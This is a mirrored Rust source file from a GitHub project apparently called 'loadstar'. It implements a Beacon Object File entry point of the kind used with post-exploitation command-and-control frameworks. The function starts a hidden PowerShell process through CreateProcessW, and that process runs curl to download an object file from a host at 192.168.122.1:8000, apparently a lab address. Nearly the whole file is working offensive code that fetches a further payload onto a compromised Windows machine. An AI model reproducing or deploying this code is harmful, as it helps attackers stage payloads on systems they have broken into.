mirror of
https://github.com/KickedDroid/loadstar
synced 2026-06-08 11:29:54 +00:00
38 lines
1.0 KiB
Rust
38 lines
1.0 KiB
Rust
#![allow(non_upper_case_globals)]
|
|
use utils::{output, to_wide};
|
|
use winapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFO, WaitForSingleObject};
|
|
extern crate alloc;
|
|
use self::alloc::vec;
|
|
use core::alloc::Layout;
|
|
use core::ffi::{c_char, c_int};
|
|
#[unsafe(no_mangle)]
|
|
pub unsafe extern "C" fn rust_bof(args: *mut c_char, _alen: c_int) {
|
|
let mut si = STARTUPINFO::default();
|
|
si.dwFlags = 0x1;
|
|
let mut pi = PROCESS_INFORMATION::default();
|
|
|
|
let mut dst_buffer = vec![0 as *mut u16; 100];
|
|
|
|
let cmd = "powershell.exe -c curl -o bof.o http://192.168.122.1:8000/wassssssup";
|
|
if !to_wide(cmd, dst_buffer.as_ptr() as *mut u16) {
|
|
output("Could not parse to wide str")
|
|
};
|
|
if (CreateProcessW)(
|
|
core::ptr::null(),
|
|
dst_buffer.as_ptr() as *mut u16,
|
|
core::ptr::null_mut(),
|
|
core::ptr::null_mut(),
|
|
0,
|
|
0,
|
|
core::ptr::null_mut(),
|
|
core::ptr::null(),
|
|
&mut si,
|
|
&mut pi,
|
|
) == 0
|
|
{
|
|
output("SHIT");
|
|
};
|
|
|
|
WaitForSingleObject(pi.hProcess, 0xFFFFFFFF);
|
|
}
|